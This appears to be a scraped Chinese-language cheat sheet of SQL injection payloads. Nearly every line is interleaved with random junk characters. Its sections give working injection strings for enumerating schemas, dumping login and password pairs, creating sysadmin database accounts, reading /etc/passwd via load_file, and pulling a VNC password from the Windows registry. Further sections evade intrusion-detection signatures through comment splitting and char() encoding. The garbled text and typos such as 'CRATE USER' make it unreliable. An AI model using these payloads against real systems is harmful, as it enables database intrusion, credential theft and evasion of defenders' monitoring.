4 L8 Z+ Y! d* h/ F2 j1 y- ‘ having 1=1–6 \+ s. ~. l8 y6 G$ Q
9 h3 W! N: ~7 H2 ~. Y: @6 ]- ‘ group by userid having 1=1–& D" z! V/ r0 @% t: w! n3 `
( M* R3 z# y% t1 F/ u* a5 \- ‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘tablename’)– % e D6 l0 H+ u3 E- _" e 0 A% C2 B% d3 p. l- ‘ union select sum(columnname) from tablename– , o ^) d! q0 l& J# J) J9 [0 q5 Y5 r2 P. U- ^
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9 T0 V/ f S/ a) d3 L. [) j0 a3、收集信息7 `: y1 H$ Q2 b( x+ T6 H
% p; r% O. @3 `; C4 k- ‘ or 1 in (select @@version)– ' {1 {& c7 a* F% S0 g 3 u O2 _* g$ ?) J" @- ‘ union all select @@version– ) D$ b4 k$ w! W; s) O, n9 W0 b1 o' Z) {) n/ {( y: h- T
上面就可以得到系统的版本和补丁信息。 " D4 W" u- ]' k8 ^' e1 J- N+ _) Y0 [
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4、数据类型0 r$ {. ]4 t& g9 V" n w) w* X z
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Oracle数据库>> + S- J2 H' \5 L! _2 i( V- a- ]: F1 ]( @' I
–>SYS.USER_OBJECTS (USEROBJECTS)! n7 T% V4 m9 O
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–>SYS.USER_VIEWS4 P: ? R9 H4 \9 E6 ?: n/ ~
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–>SYS.USER_TABLES5 i7 B+ ^0 t8 \: R
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–>SYS.USER_VIEWS& d0 f# w5 y& F6 K( f+ T: X
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–>SYS.USER_TAB_COLUMNS* e6 j( U' v' T* ]" r7 k( K1 A
. T9 ]; o1 T. Q: T+ C9 @step1 : ‘; begin declare @var varchar(8000) set @var=’:’ select @var=@var+’+login+’/'+password+’ ‘ from users where login > @var select @var as var into temp end – - `) D7 f" A1 Q' a$ p% k% }- p: F; h3 j) F7 D6 N
//取得信息 - n; l+ a. D7 S, i$ n5 f+ m% I" _* a3 O4 U: ?, \1 }
step2 : ‘ and 1 in (select var from temp)– $ g, e& d6 d/ z6 M& o: z, ` Z* r1 h+ A! c. O+ q/ ?
//删除临时表" G' }4 l$ {" @6 D- q3 B J: X! `* T
5 W% T4 X8 D3 Pstep3 : ‘ ; drop table temp – ' ~9 N i4 A4 O* z6 S: _) e 5 D2 q' l5 O2 |' e' }& W # ?0 l8 a: n4 a- o+ z+ u2 ^" f3 x1 d! e& L
6、创建数据库帐号 6 |4 s" q6 P: x- { k, Z5 |+ r n& @0 \- A; l0 `9 K+ e
MS SQL/ W; p3 e7 C" W1 u* q
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exec sp_addlogin ‘name’ , ‘password’ ; W" f1 n' `" c ^; r / ^6 _& o- u2 z6 m! `) Rexec sp_addsrvrolemember ‘name’ , ’sysadmin’ r$ N2 a+ {/ G5 C7 k2 E ' c3 c, L) h" a" H0 B: O3 b ' j' E% e% Y% _! l5 _* B- |* B+ i% X0 ^% ^3 l7 f+ W
MySQL6 h: ]- s( d( b4 h
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INSERT INTO mysql.user (user, host, password) VALUES (’name’, ‘localhost’, PASSWORD(’pass123′))) c3 _5 Z H/ c4 }! w- Z: i$ K
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' v- C/ k! p& T/ ]- l* u & m" c& J/ i: q* }2 z" `1 L; sAccess + v; Q8 G) q6 ?7 o7 V ' Y0 y" [% e/ G0 \CRATE USER name IDENTIFIED BY ‘pass123′+ C( F; D' _0 a, Y$ }
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9 p2 N" r$ m3 Q1 SPostgres (requires Unix account) ?( y# F( X d3 D) Z ( X" e. |' t) F9 ~$ iCRATE USER name WITH PASSWORD ‘pass123′2 y) P) U$ f7 E& q( W
* d) q- G6 o6 ? & _# o v& \0 \% w$ K+ A" x : C0 M& X% c& bOracle ( n: V- ~2 i D" f* I$ ]* l! w- u, m: x8 c' I
CRATE USER name IDENTIFIED BY pass123 4 M" F) i1 ]1 `- X+ N9 Y, |0 v9 t# I; ?. K- S
TEMPORARY TABLESPACE temp / n- r, X7 [% Z4 M ! j5 g% z& S# F" R5 s7 v& ^- [5 ?# G DEFAULT TABLESPACE users;$ x* R4 E: ~6 Z' m+ v
; |4 x5 e- k9 Y* c/ s# x; iGRANT CONNECT TO name; " a8 `2 @" Z4 u1 G3 y0 o ( n# ^. e9 E7 S2 a$ rGRANT RESOURCE TO name; ) T- j& `& s' k$ R/ h4 S- n : v, @9 w2 K1 V! \- U+ A# O ^( A6 C& Y- l! U F: T; D; P9 l( F( ^
7、MYSQL交互查询 / ]2 S$ F- Y( O4 w* u, m8 S6 Y2 C# n 2 x3 f8 p2 b3 b' Z, [. B7 E使用Union查询,暴出文件代码,如下:+ R+ q' }# \2 e- a2 Y$ A8 k
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- ‘ union select 1,load_file(’/etc/passwd’),1,1,1; # P) b& ~' G+ @+ @ b " m6 @- K9 S5 E & r2 _' q" Y6 `- M; L( C 0 ~* u: b! }9 o! }1 [8、系统服务名和配置 1 y0 I+ k( Q0 p0 F# j% A, L, @' L+ ^" {2 g' Q0 `: z
- ‘ and 1 in (select @@servername)–# O- A( I. ~- l8 M3 |
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- ‘ and 1 in (select servername from master.sysservers)– ; j+ v, d& y% Q2 U1 \# c' Q+ n' C# O: k) l
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% A; A9 R3 s4 L: L5 y9、找到VNC密码(注册表)9 F7 ~% M; D# s1 D6 i
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实验语句如下:6 p% b+ c( m" u0 s. S- n, J3 h
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- ‘; declare @out binary(8)8 f/ f" n/ e3 @# V) d
: y! S* E0 G. ?1 z6 q, q5 P- exec master..xp_regread7 ?5 Y. A3 n' R
" q$ W5 k% v9 _ K; Q$ i# h- @rootkey = ‘HKEY_LOCAL_MACHINE’, & \. h# {! \# d( r: d7 b 3 a4 s4 H t) E1 W& L& B- [4 i' H) g- @key = ‘SOFTWARE\ORL\WinVNC3\Default’, 6 G4 u; W1 l1 z f: }/ }' W( y% ` }+ ~1 @ {5 A
- @value_name=’password’, 2 b$ s0 } X8 }$ F. ?- P2 R: O + @* _6 `$ m- k1 N# j- @value = @out output ! M# i8 H+ w# l: B8 E 9 z4 \* w# N; f H! D- select cast (@out as bigint) as x into TEMP–" L, P' X9 B) Z& \
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- ‘ and 1 in (select cast(x as varchar) from temp)– * z* }0 w7 c o# g( H- s6 D; I2 ?; B
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6 V, k; M, g+ V2 |+ y ]* X: M9 ?10、避开IDS检测 6 j) k. M: O) m' V0 ?; v* ]' a# q% _
Evading ‘ OR 1=1 Signature* V* ~' ]0 P' f6 j Q/ D& |
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- ‘ OR ‘unusual’ = ‘unusual’ 0 u7 e2 \ b1 r9 P f! M5 z* y( O( W% G& {5 l) S3 c0 o, J' P# ~
- ‘ OR ’something’ = ’some’+'thing’6 L. P3 b c2 M9 O
8 V; c! ?6 f- Q9 B( r# f$ k- ‘ OR ‘text’ = N’text’* i* k6 Z: ^$ @
2 }3 U9 n9 U$ \+ U
- ‘ OR ’something’ like ’some%’ $ r! G' n$ N3 T% Z0 u# o 7 Z; E4 b% U O! n- ‘ OR 2 > 1 ; O& X8 T" f: B6 B" B, [ ) |; R0 {' v: n$ @- ‘ OR ‘text’ > ‘t’ $ N- H5 |7 a! K% Z' B1 a3 z$ S1 _+ o
- ‘ OR ‘whatever’ in (’whatever’) 4 L0 d) A2 ]6 W+ f9 z+ n 9 j5 V+ U% e% I- ‘ OR 2 BETWEEN 1 and 3+ B& V3 l" j# ]" D6 A
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) C d p. j. u7 e* s4 P/ U 0 f4 }# k% ~' r/ M. [- N11、MYSQL中使用char()函数. E2 z# Q- D' z( Z# A- d" |2 I
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不带引号的注射,例如: (string = “%”):! n, t. t$ q& m& E
T! F M Q9 _: _0 T–> ‘ or username like char(37); ( r- E. m" @1 M/ O. M* q2 Q/ j* W, B! ?
带引号的注射,例如: (string=”root”):7 X, z) d9 f6 v* p* b
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–> ‘ union select * from users where login = char(114,111,111,116);! n$ T7 ]5 u5 {2 v7 O
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在 unions中使用load files 函数,例如:(string = “/etc/passwd”):; b7 Q$ N( n7 q/ j- L& Q
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–>’ union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; . @7 Y* x. f5 ?- K4 Y! A* f: z 7 u B% O0 n9 b' X检查文件是否存在,例如: (string = “n.ext”): : h' B, l# c' j% U 0 ], p. ?3 s1 I1 C2 J–>’ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));4 m4 H/ E$ a7 k- C
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12、利用注释符号避开IDS % e; P% M5 O5 \2 _) m: p 6 s ?2 r9 N3 B. P举例如下: 6 L0 M5 q8 a6 l/ ^* f1 @ L ! S7 ~) i" ]3 ?/ y/ n1 Z. z8 q–>’/**/OR/**/1/**/=/**/1 $ V; Q# M R& B6 ~/ o 0 h- E' k8 G- C$ Q–>Username:’ or 1/*0 H1 U. f o# }/ E
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–>Password:*/=1– * l" o, Q8 D. U9 F8 l% }5 r$ E9 {: |) D
–>UNI/**/ON SEL/**/ECT (!!!这个比较罕见,应该大有作为!!!): T3 b S- H; f- w2 A
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–>(Oracle) ‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’ . u: D! Z& H$ d; N. y7 j5 b, R# R' i+ F+ Z
–>(MS SQL) ‘; EXEC (’SEL’ + ‘ECT US’ + ‘ER’)2 y( y4 x( Q; E- z% d' g7 A. M
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13、不带引号的字符串 7 E8 Y/ W+ T2 e: X! D2 [ % Y/ D; J. \8 u. F/ j6 c5 `用char()或者0X来构造不含引号的语句。。9 U5 W5 W; ?, K9 J( b
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–> INSERT INTO Users(Login, Password, Level) VALUES( char(0×70) + char(0×65) + char(0×74) + char(0×65) + char(0×72) + char(0×70) + char(0×65) + char(0×74) + char(0×65) + char(0×72), 0×64) & p& B# W7 D7 o( K